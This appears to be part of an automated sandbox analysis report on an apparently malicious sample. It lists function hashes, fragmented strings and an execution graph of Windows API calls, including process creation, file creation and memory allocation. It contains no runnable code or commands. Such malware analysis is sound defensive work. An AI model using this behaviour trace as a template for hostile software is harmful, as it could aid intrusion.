                                                          • Opcode Fuzzy Hash: 8797746a7be46566aa9af3429aad0623f983008ac42a2b0d823f92890ddd9cde
                                                          • Instruction Fuzzy Hash: D27120B5D00328AADB59DFA4CC81FEEB77DBF08704F044599F608AA140EB7067488FA5
                                                          Function 0331358F Relevance: 16.4, Strings: 13, Instructions: 172COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID: $.$F$P$e$i$l$m$o$o$r$s$x
                                                          • API String ID: 0-392141074
                                                          • Opcode ID: f6bf3011f14b98c3ac1e2ea91a3b9bfdc1acc0a3bf2da4e1aa243c8e72483235
                                                          • Instruction ID: 9ea1a087f33e832b41aafbce954540b3f65f17a2b7ddc1629bbf8d51fe5abda6
                                                          • Opcode Fuzzy Hash: f6bf3011f14b98c3ac1e2ea91a3b9bfdc1acc0a3bf2da4e1aa243c8e72483235
                                                          • Instruction Fuzzy Hash: 0E6111B5D00328AADB59DFA4CC80FEEBB7DBF48704F044599F609AA140EB7167488F55
                                                          Function 0330E884 Relevance: 15.2, Strings: 12, Instructions: 230COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID: "$"$"$.$/$P$e$i$m$o$r$x
                                                          • API String ID: 0-2356907671
                                                          • Opcode ID: a96d76635163d860edb033fd29341074480d2894ec638ddded7d0922caf71847
                                                          • Instruction ID: 9ab230e2a64d591fb510dee8a3d426350b8844ca00532a201a7226336bbec5b0
                                                          • Opcode Fuzzy Hash: a96d76635163d860edb033fd29341074480d2894ec638ddded7d0922caf71847
                                                          • Instruction Fuzzy Hash: E88175B6C003286ADB95EBA4CCC0FEF77BCAF44704F044599B518AA141EB756748CF61
                                                          Function 033076DB Relevance: 13.8, Strings: 11, Instructions: 86COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID: D$\$e$e$i$l$n$r$r$w$x
                                                          • API String ID: 0-685823316
                                                          • Opcode ID: 36bf0a2e72e0035d5f3a7c7ab77844901d3580bc67a0f4c6ff52409028d6c181
                                                          • Instruction ID: b1c33e4edf24a8a7dd902c2c8d7fc35e06b4269b667a9ca23f76ccc55f951cc1
                                                          • Opcode Fuzzy Hash: 36bf0a2e72e0035d5f3a7c7ab77844901d3580bc67a0f4c6ff52409028d6c181
                                                          • Instruction Fuzzy Hash: 973164B5D51318AAEF54DFE4CC84BEEBBB9BF04704F04815DF618BA180DBB516488BA4
                                                          Function 03318030 Relevance: 12.8, Strings: 10, Instructions: 341COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID: :$:$:$A$I$N$P$m$s$t
                                                          • API String ID: 0-2304485323
                                                          • Opcode ID: 7a25f3aa3b993d786d1e51e324f6e34d1effcbae38730acdadd9bbe5be6dfb52
                                                          • Instruction ID: 34aeb5a88622f768406d1e2b25da23c569cecf9afe9d9d49463dffb75b60dfb1
                                                          • Opcode Fuzzy Hash: 7a25f3aa3b993d786d1e51e324f6e34d1effcbae38730acdadd9bbe5be6dfb52
                                                          • Instruction Fuzzy Hash: E3D1C9B6A00314ABDB58EFA5CC81FEFB7F8AF48310F044919E515EB144E778AA05CB65
                                                          Function 03318034 Relevance: 12.7, Strings: 10, Instructions: 209COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID: :$:$:$A$I$N$P$m$s$t
                                                          • API String ID: 0-2304485323
                                                          • Opcode ID: 4a088c551428fdec09cea87e25882ce38c203eb595db0edca85545217ebc17da
                                                          • Instruction ID: 261ca01a4c9485caca2db7957c6147ba72b0938cc67caa62294115069962cc3a
                                                          • Opcode Fuzzy Hash: 4a088c551428fdec09cea87e25882ce38c203eb595db0edca85545217ebc17da
                                                          • Instruction Fuzzy Hash: 6481C8B6D00318AFDB54EFA5CC81BEEB7F9AF48300F044919E519EB240E775AA05CB65
                                                          Function 0331AF64 Relevance: 8.9, Strings: 7, Instructions: 115COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID: L$S$\$a$c$e$l
                                                          • API String ID: 0-3322591375
                                                          • Opcode ID: 914b3acaaa8432608bd52b9440e4d0aaecece303a973534e665035da391f2bf7
                                                          • Instruction ID: 4b84029df8fb7ef2e7ca687bc7db6fe28f458892521c1785e1f1e2b9f1222f05
                                                          • Opcode Fuzzy Hash: 914b3acaaa8432608bd52b9440e4d0aaecece303a973534e665035da391f2bf7
                                                          • Instruction Fuzzy Hash: 1341B676C10218AACB54DFA4CCC4EEFF7F8EF48300F05465AE91DAB210EB7155858B90
                                                          Function 03300024 Relevance: 8.8, Strings: 7, Instructions: 43COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID: .$9$J$k$m$o$q
                                                          • API String ID: 0-2966760189
                                                          • Opcode ID: 42ed540f973300ed55e090065409ce2e5f4a439b764f7fd69b4cc2ce3f16f057
                                                          • Instruction ID: 0f6f5b5ae75b135926d1f5adfb4b43981518d9c01c9ef90a1cd34e3502287cf8
                                                          • Opcode Fuzzy Hash: 42ed540f973300ed55e090065409ce2e5f4a439b764f7fd69b4cc2ce3f16f057
                                                          • Instruction Fuzzy Hash: C411C920D087CED9DB12C6BC84586AEBF715B23224F0883D9D4E06B2D2C27A4656C7A6
                                                          Function 0331335C Relevance: 7.7, Strings: 6, Instructions: 180COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID: F$P$T$f$r$x
                                                          • API String ID: 0-2523166886
                                                          • Opcode ID: 4ce69a5d3163f0b34071bd4143e90637c9ae9a1be9af28b1e4ca8167a7a7567c
                                                          • Instruction ID: a7892f71f93822934dd00a0c5530ba1019cf4faf7848562d18cbedcef3a357dd
                                                          • Opcode Fuzzy Hash: 4ce69a5d3163f0b34071bd4143e90637c9ae9a1be9af28b1e4ca8167a7a7567c
                                                          • Instruction Fuzzy Hash: 24512575900304ABEB39EFA5CCC4BABF7F8EF44710F04055EE5099A180E7B5A659CBA1
                                                          Function 03312AB0 Relevance: 6.4, Strings: 5, Instructions: 198COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID: $i$l$o$u
                                                          • API String ID: 0-2051669658
                                                          • Opcode ID: dbbeab13c927fa36f2d9957473d4145e33e37c501b0c9b163815564346cee0de
                                                          • Instruction ID: cce68fd41b92d7060dc83339f7cb8ef60444102642259a7458aa67e0ada302ae
                                                          • Opcode Fuzzy Hash: dbbeab13c927fa36f2d9957473d4145e33e37c501b0c9b163815564346cee0de
                                                          • Instruction Fuzzy Hash: C36121B5900304AFDB28DBA4DC80FEFB7FDAB88710F144959E619E7240E775AA51CB60
                                                          Function 03312AB4 Relevance: 6.4, Strings: 5, Instructions: 124COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID: $i$l$o$u
                                                          • API String ID: 0-2051669658
                                                          • Opcode ID: d27c6dcf98c9ce4a933b77b435d7509af4d7dd3f3a3a58354468f1ea2a8a4358
                                                          • Instruction ID: 87587f77bafa5fa2279d96c6e1c383239ea77ad199eabc209e310e28d4938879
                                                          • Opcode Fuzzy Hash: d27c6dcf98c9ce4a933b77b435d7509af4d7dd3f3a3a58354468f1ea2a8a4358
                                                          • Instruction Fuzzy Hash: 4241F8B5900308AFDB64DFA4CC84FEFBBF9AB49700F104959E619EB240D775AA50CB60
                                                          Function 03312754 Relevance: 5.3, Strings: 4, Instructions: 299COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID: $e$k$o
                                                          • API String ID: 0-3624523832
                                                          • Opcode ID: 4b0c86c66f64d455f46fc616c397b6595390bbbb90fad8c0fb8c702489f2720d
                                                          • Instruction ID: 8b6bc33b66b1a08b1773e5cd7a9c9485dbfd89c4360e47a70ad087787f984303
                                                          • Opcode Fuzzy Hash: 4b0c86c66f64d455f46fc616c397b6595390bbbb90fad8c0fb8c702489f2720d
                                                          • Instruction Fuzzy Hash: EDB1FC75A00704AFDB28DBA4CC84FEFB7B9AF88700F148959F659A7240D674AA51CB50
                                                          Function 03313049 Relevance: 5.2, Strings: 4, Instructions: 235COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID: $e$h$o
                                                          • API String ID: 0-3662636641
                                                          • Opcode ID: f85a565ebf3ac33f80aaf0d79733848ab022e66e2c708a66d71d6bba3fcb8fa1
                                                          • Instruction ID: 5b8595dda078f7ff3d087ff85c410163761389b6709369d39ba276d8a95c0574
                                                          • Opcode Fuzzy Hash: f85a565ebf3ac33f80aaf0d79733848ab022e66e2c708a66d71d6bba3fcb8fa1
                                                          • Instruction Fuzzy Hash: 0C814376E003287EDB59EBA4CCC5FEF737CAF49600F044599B5499A040EE7457888BA2
                                                          Function 03312606 Relevance: 5.1, Strings: 4, Instructions: 125COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID: FALSETRUE$FALSETRUE$TRUE$TRUE
                                                          • API String ID: 0-2877786613
                                                          • Opcode ID: 368b03b6e0e8fade7b73d84e06a2203293b1a6c9cfb06b966dc3b30f8498d2bb
                                                          • Instruction ID: 7c1e7525f5d34ea6aaacf111e9bb7436bcbe550029c03ecba7d1a5d9380a1e74
                                                          • Opcode Fuzzy Hash: 368b03b6e0e8fade7b73d84e06a2203293b1a6c9cfb06b966dc3b30f8498d2bb
                                                          • Instruction Fuzzy Hash: 68417C759116687EEB05EB90CC82FEF7B3C9F89600F014549FA04AE190E7746A01C7E6
                                                          Function 03312614 Relevance: 5.1, Strings: 4, Instructions: 117COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID: FALSETRUE$FALSETRUE$TRUE$TRUE
                                                          • API String ID: 0-2877786613
                                                          • Opcode ID: 60633ab13290729cb2a80f7e1cfdf29e32171134da9542d357d7203a0fa0be92
                                                          • Instruction ID: 0c28440c7aa561b673a27bab54ffcdadc4ddf6ce252a11d5a8f43d6066f88adf
                                                          • Opcode Fuzzy Hash: 60633ab13290729cb2a80f7e1cfdf29e32171134da9542d357d7203a0fa0be92
                                                          • Instruction Fuzzy Hash: 01314D759116687EEB15EB90CC82FEF7B3C9F99600F014548FA04AE190E7746A11C7E6
                                                          Function 03313054 Relevance: 5.1, Strings: 4, Instructions: 100COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID: $e$h$o
                                                          • API String ID: 0-3662636641
                                                          • Opcode ID: 3e3bd7a643d406475c71e0b64f6076998e713a462250b0c3b6c981fb260973f9
                                                          • Instruction ID: 8bd38505c4956463418a5f0490ff2865ff8a4fbb70491659d749b5082624dbc8
                                                          • Opcode Fuzzy Hash: 3e3bd7a643d406475c71e0b64f6076998e713a462250b0c3b6c981fb260973f9
                                                          • Instruction Fuzzy Hash: BB311F75E003287EDF94DBA4CC85FEF76B8AF45700F004599B549AA150EB7467848FA2
                                                          Function 0330EBB4 Relevance: 5.1, Strings: 4, Instructions: 89COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID: 0$5$C$n
                                                          • API String ID: 0-3332222195
                                                          • Opcode ID: ffcd4430d8a47f10e58e9d41cf8399603f00e48e12d9c44d9bdcca0909ac44ff
                                                          • Instruction ID: f06d380ec451f1149416ebfadd6180bdf9faa5df631f6e91530bea8297c98bd3
                                                          • Opcode Fuzzy Hash: ffcd4430d8a47f10e58e9d41cf8399603f00e48e12d9c44d9bdcca0909ac44ff
                                                          • Instruction Fuzzy Hash: BE3132B5E10219BBDF04DFA4CD91BEF77B8EF44304F004598F904AB240E676AA458BE5
                                                          Function 03310004 Relevance: 5.0, Strings: 4, Instructions: 47COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID: $e$k$o
                                                          • API String ID: 0-3624523832
                                                          • Opcode ID: b48b3b390734b655300a6414dcd54398f454fcfbf084f72e9af4d8e625c3f02b
                                                          • Instruction ID: 35017649114242b58deaf1a37d2dc19155f20c1e8e40a6bb8455fce54b2191c4
                                                          • Opcode Fuzzy Hash: b48b3b390734b655300a6414dcd54398f454fcfbf084f72e9af4d8e625c3f02b
                                                          • Instruction Fuzzy Hash: 7001C8B2D00318ABDB14DF94DCC4ADEF7B9FF48304F048659E9199B201E7719544CBA0

                                                          Execution Graph

                                                          Execution Coverage:2.5%
                                                          Dynamic/Decrypted Code Coverage:4.2%
                                                          Signature Coverage:2.2%
                                                          Total number of Nodes:450
                                                          Total number of Limit Nodes:74
                                                          execution_graph 96066 3030782 96067 303078c 96066->96067 96068 303072c 96066->96068 96069 303076d 96068->96069 96070 303075c PostThreadMessageW 96068->96070 96070->96069 96071 3029640 96073 302964f 96071->96073 96072 3029690 96073->96072 96074 3029685 CreateThread 96073->96074 96075 303ebc0 96076 303ec24 96075->96076 96104 3035be0 96076->96104 96078 303ed54 96079 303ed4d 96079->96078 96111 3035cf0 96079->96111 96081 303eef3 96082 303edd0 96082->96081 96083 303ef02 96082->96083 96115 303e9a0 96082->96115 96084 3047c90 NtClose 96083->96084 96086 303ef0c 96084->96086 96087 303ee05 96087->96083 96088 303ee10 96087->96088 96124 3049c60 96088->96124 96090 303ee39 96091 303ee42 96090->96091 96092 303ee58 96090->96092 96093 3047c90 NtClose 96091->96093 96127 303e890 CoInitialize 96092->96127 96095 303ee4c 96093->96095 96096 303ee66 96129 3047790 96096->96129 96098 303eee2 96133 3047c90 96098->96133 96100 303eeec 96136 3049b80 96100->96136 96102 303ee84 96102->96098 96103 3047790 LdrInitializeThunk 96102->96103 96103->96102 96105 3035c13 96104->96105 96106 3035c37 96105->96106 96139 3047830 96105->96139 96106->96079 96108 3035c5a 96108->96106 96109 3047c90 NtClose 96108->96109 96110 3035cda 96109->96110 96110->96079 96112 3035d15 96111->96112 96144 3047610 96112->96144 96116 303e9bc 96115->96116 96149 30340c0 96116->96149 96118 303e9e3 96118->96087 96119 303e9da 96119->96118 96120 30340c0 LdrLoadDll 96119->96120 96121 303eaae 96120->96121 96122 30340c0 LdrLoadDll 96121->96122 96123 303eb0b 96121->96123 96122->96123 96123->96087 96153 3047fa0 96124->96153 96126 3049c7b 96126->96090 96128 303e8f5 96127->96128 96128->96096 96130 30477aa 96129->96130 96156 5132ba0 LdrInitializeThunk 96130->96156 96131 30477da 96131->96102 96134 3047cad 96133->96134 96135 3047cbe NtClose 96134->96135 96135->96100 96157 3047ff0 96136->96157 96138 3049b99 96138->96081 96140 304784a 96139->96140 96143 5132ca0 LdrInitializeThunk 96140->96143 96141 3047876 96141->96108 96143->96141 96145 304762d 96144->96145 96148 5132c60 LdrInitializeThunk 96145->96148 96146 3035d89 96146->96082 96148->96146 96150 30340e4 96149->96150 96151 3034120 LdrLoadDll 96150->96151 96152 30340eb 96150->96152 96151->96152 96152->96119 96154 3047fbd 96153->96154 96155 3047fce RtlAllocateHeap 96154->96155 96155->96126 96156->96131 96158 304800d 96157->96158 96159 304801e RtlFreeHeap 96158->96159 96159->96138 96160 3035400 96161 3035436 96160->96161 96165 3047310 96160->96165 96169 3047d20 96161->96169 96164 303544b 96166 304732d 96165->96166 96174 5132c0a 96166->96174 96167 3047359 96167->96161 96170 3047da1 96169->96170 96172 3047d44 96169->96172 96177 5132e80 LdrInitializeThunk 96170->96177 96171 3047dd2 96171->96164 96172->96164 96175 5132c11 96174->96175 96176 5132c1f LdrInitializeThunk 96174->96176 96175->96167 96176->96167 96177->96171 96178 5132ad0 LdrInitializeThunk 96179 30472c0 96180 30472da 96179->96180 96183 5132df0 LdrInitializeThunk 96180->96183 96181 3047302 96183->96181 96194 30479c0 96195 3047a69 96194->96195 96197 30479e8 96194->96197 96196 3047a7f NtCreateFile 96195->96196 96198 3047c00 96199 3047c69 96198->96199 96201 3047c24 96198->96201 96200 3047c7f NtDeleteFile 96199->96200 96202 304acc0 96203 3049b80 RtlFreeHeap 96202->96203 96204 304acd5 96203->96204 96205 3044480 96206 30444da 96205->96206 96208 30444e7 96206->96208 96209 3036cb0 96206->96209 96210 3036c74 96209->96210 96212 3036ca2 96210->96212 96213 303a850 96210->96213 96212->96208 96214 303a876 96213->96214 96215 303aa95 96214->96215 96240 3048080 96214->96240 96215->96212 96217 303a8ec 96217->96215 96243 304ad90 96217->96243 96219 303a908 96219->96215 96220 303a9d9 96219->96220 96222 3047310 LdrInitializeThunk 96219->96222 96221 303a9f8 96220->96221 96223 30352f0 LdrInitializeThunk 96220->96223 96229 303aa7d 96221->96229 96256 3046ee0 96221->96256 96224 303a964 96222->96224 96223->96221 96224->96220 96225 303a96d 96224->96225 96225->96215 96226 303a9c1 96225->96226 96228 303a99f 96225->96228 96249 30352f0 96225->96249 96252 30377b0 96226->96252 96271 30434c0 LdrInitializeThunk 96228->96271 96231 30377b0 LdrInitializeThunk 96229->96231 96235 303aa8b 96231->96235 96235->96212 96236 303aa54 96261 3046f80 96236->96261 96238 303aa6e 96266 30470c0 96238->96266 96241 304809a 96240->96241 96242 30480ab CreateProcessInternalW 96241->96242 96242->96217 96244 304ad00 96243->96244 96245 3049c60 RtlAllocateHeap 96244->96245 96246 304ad5d 96244->96246 96247 304ad3a 96245->96247 96246->96219 96248 3049b80 RtlFreeHeap 96247->96248 96248->96246 96272 30474d0 96249->96272 96251 303532e 96251->96228 96253 30377c3 96252->96253 96278 3047220 96253->96278 96255 30377ee 96255->96212 96257 3046f52 96256->96257 96259 3046f07 96256->96259 96284 51339b0 LdrInitializeThunk 96257->96284 96258 3046f77 96258->96236 96259->96236 96262 3046fef 96261->96262 96263 3046fa4 96261->96263 96285 5134340 LdrInitializeThunk 96262->96285 96263->96238 96264 3047014 96264->96238 96267 304712f 96266->96267 96269 30470e4 96266->96269 96286 5132fb0 LdrInitializeThunk 96267->96286 96268 3047154 96268->96229 96269->96229 96271->96226 96273 304756f 96272->96273 96275 30474f4 96272->96275 96277 5132d10 LdrInitializeThunk 96273->96277 96274 30475b4 96274->96251 96275->96251 96277->96274 96279 3047290 96278->96279 96281 3047244 96278->96281 96283 5132dd0 LdrInitializeThunk 96279->96283 96280 30472b5 96280->96255 96281->96255 96283->96280 96284->96258 96285->96264 96286->96268 96287 3044c80 96288 3044cda 96287->96288 96290 3044ce7 96288->96290 96291 3042810 96288->96291 96298 3049af0 96291->96298 96293 3042851 96294 30340c0 LdrLoadDll 96293->96294 96296 3042956 96293->96296 96297 3042897 96294->96297 96295 30428d0 Sleep 96295->96297 96296->96290 96297->96295 96297->96296 96301 3047de0 96298->96301 96300 3049b21 96300->96293 96302 3047e67 96301->96302 96304 3047e04 96301->96304 96303 3047e7d NtAllocateVirtualMemory 96302->96303 96303->96300 96304->96300 96305 3037e8e 96306 3037e52 96305->96306 96306->96305 96307 3037e58 96306->96307 96309 30368b0 LdrInitializeThunk LdrInitializeThunk 96306->96309 96309->96306 96310 302b090 96311 3049af0 NtAllocateVirtualMemory 96310->96311 96312 302c701 96310->96312 96311->96312 96313 303a350 96318 303a080 96313->96318 96315 303a35d 96332 3039d20 96315->96332 96317 303a379 96319 303a0a5 96318->96319 96343 3037a00 96319->96343 96322 303a1e2 96322->96315 96324 303a1f9 96324->96315 96325 303a1f0 96325->96324 96327 303a2e1 96325->96327 96358 3039780 96325->96358 96329 303a339 96327->96329 96367 3039ae0 96327->96367 96330 303a340 96329->96330 96331 3049b80 RtlFreeHeap 96329->96331 96330->96315 96331->96330 96333 3039d36 96332->96333 96336 3039d41 96332->96336 96334 3049c60 RtlAllocateHeap 96333->96334 96334->96336 96335 3039d57 96335->96317 96336->96335 96337 3037a00 GetFileAttributesW 96336->96337 96338 303a04e 96336->96338 96341 3039780 RtlFreeHeap 96336->96341 96342 3039ae0 RtlFreeHeap 96336->96342 96337->96336 96339 303a067 96338->96339 96340 3049b80 RtlFreeHeap 96338->96340 96339->96317 96340->96339 96341->96336 96342->96336 96344 3037a21 96343->96344 96345 3037a28 GetFileAttributesW 96344->96345 96346 3037a33 96344->96346 96345->96346 96346->96322 96347 30420f0 96346->96347 96348 30420fe 96347->96348 96349 3042105 96347->96349 96348->96325 96350 30340c0 LdrLoadDll 96349->96350 96351 304213a 96350->96351 96352 3042149 96351->96352 96371 3041bc0 LdrLoadDll 96351->96371 96354 3049c60 RtlAllocateHeap 96352->96354 96356 30422e4 96352->96356 96357 3042162 96354->96357 96355 3049b80 RtlFreeHeap 96355->96356 96356->96325 96357->96355 96357->96356 96359 30397a6 96358->96359 96372 303cfc0 96359->96372 96361 303980d 96363 303982b 96361->96363 96364 3039990 96361->96364 96362 3039975 96362->96325 96363->96362 96377 3039640 96363->96377 96364->96362 96365 3039640 RtlFreeHeap 96364->96365 96365->96364 96368 3039b06 96367->96368 96369 303cfc0 RtlFreeHeap 96368->96369 96370 3039b82 96369->96370 96370->96327 96371->96352 96373 303cfd6 96372->96373 96374 303cfe3 96373->96374 96375 3049b80 RtlFreeHeap 96373->96375 96374->96361 96376 303d01c 96375->96376 96376->96361 96378 3039656 96377->96378 96381 303d030 96378->96381 96380 303975c 96380->96363 96382 303d054 96381->96382 96383 303d0ec 96382->96383 96384 3049b80 RtlFreeHeap 96382->96384 96383->96380 96384->96383 96385 3036690 96386 30366ba 96385->96386 96389 30375e0 96386->96389 96388 30366e4 96390 30375fd 96389->96390 96396 3047400 96390->96396 96392 303764d 96393 3037654 96392->96393 96394 30474d0 LdrInitializeThunk 96392->96394 96393->96388 96395 303767d 96394->96395 96395->96388 96397 3047427 96396->96397 96398 3047490 96396->96398 96397->96392 96401 5132f30 LdrInitializeThunk 96398->96401 96399 30474c9 96399->96392 96401->96399 96407 30296a0 96408 3029a07 96407->96408 96410 3029e3f 96408->96410 96411 3049810 96408->96411 96412 3049836 96411->96412 96417 3023f40 96412->96417 96414 3049842 96416 3049873 96414->96416 96420 30442c0 96414->96420 96416->96410 96424 3032df0 96417->96424 96419 3023f4d 96419->96414 96421 304431a 96420->96421 96423 3044327 96421->96423 96435 30312b0 96421->96435 96423->96416 96425 3032e07 96424->96425 96427 3032e20 96425->96427 96428 30486e0 96425->96428 96427->96419 96430 30486f8 96428->96430 96429 304871c 96429->96427 96430->96429 96431 3047310 LdrInitializeThunk 96430->96431 96432 3048771 96431->96432 96433 3049b80 RtlFreeHeap 96432->96433 96434 304878a 96433->96434 96434->96427 96436 30312eb 96435->96436 96451 3037540 96436->96451 96438 30312f3 96439 30315b2 96438->96439 96440 3049c60 RtlAllocateHeap 96438->96440 96439->96423 96441 3031306 96440->96441 96442 3049c60 RtlAllocateHeap 96441->96442 96443 3031316 96442->96443 96444 3049c60 RtlAllocateHeap 96443->96444 96446 3031327 96444->96446 96450 30313bb 96446->96450 96466 3036340 NtClose LdrInitializeThunk LdrInitializeThunk LdrInitializeThunk 96446->96466 96447 30340c0 LdrLoadDll 96448 3031575 96447->96448 96462 30469e0 96448->96462 96450->96447 96452 3037549 96451->96452 96467 3037430 96452->96467 96455 30375b1 96457 30375cd 96455->96457 96460 3047c90 NtClose 96455->96460 96456 3037599 96458 30375a4 96456->96458 96459 3047c90 NtClose 96456->96459 96457->96438 96458->96438 96459->96458 96461 30375c3 96460->96461 96461->96438 96463 3046a3a 96462->96463 96465 3046a47 96463->96465 96478 30315d0 96463->96478 96465->96439 96466->96450 96468 303744a 96467->96468 96472 3037526 96467->96472 96473 30473b0 96468->96473 96471 3047c90 NtClose 96471->96472 96472->96455 96472->96456 96474 30473cd 96473->96474 96477 51335c0 LdrInitializeThunk 96474->96477 96475 303751a 96475->96471 96477->96475 96494 3037810 96478->96494 96480 30315f0 96489 3031ad8 96480->96489 96498 3040460 96480->96498 96483 30317f1 96485 304ad90 2 API calls 96483->96485 96484 303164e 96484->96489 96501 304ac60 96484->96501 96486 3031806 96485->96486 96487 3031831 96486->96487 96506 3030270 96486->96506 96488 30377b0 LdrInitializeThunk 96487->96488 96487->96489 96491 3030270 LdrInitializeThunk 96487->96491 96488->96487 96489->96465 96491->96487 96492 303195f 96492->96487 96493 30377b0 LdrInitializeThunk 96492->96493 96493->96492 96495 303781d 96494->96495 96496 3037845 96495->96496 96497 303783e SetErrorMode 96495->96497 96496->96480 96497->96496 96499 3049af0 NtAllocateVirtualMemory 96498->96499 96500 3040481 96498->96500 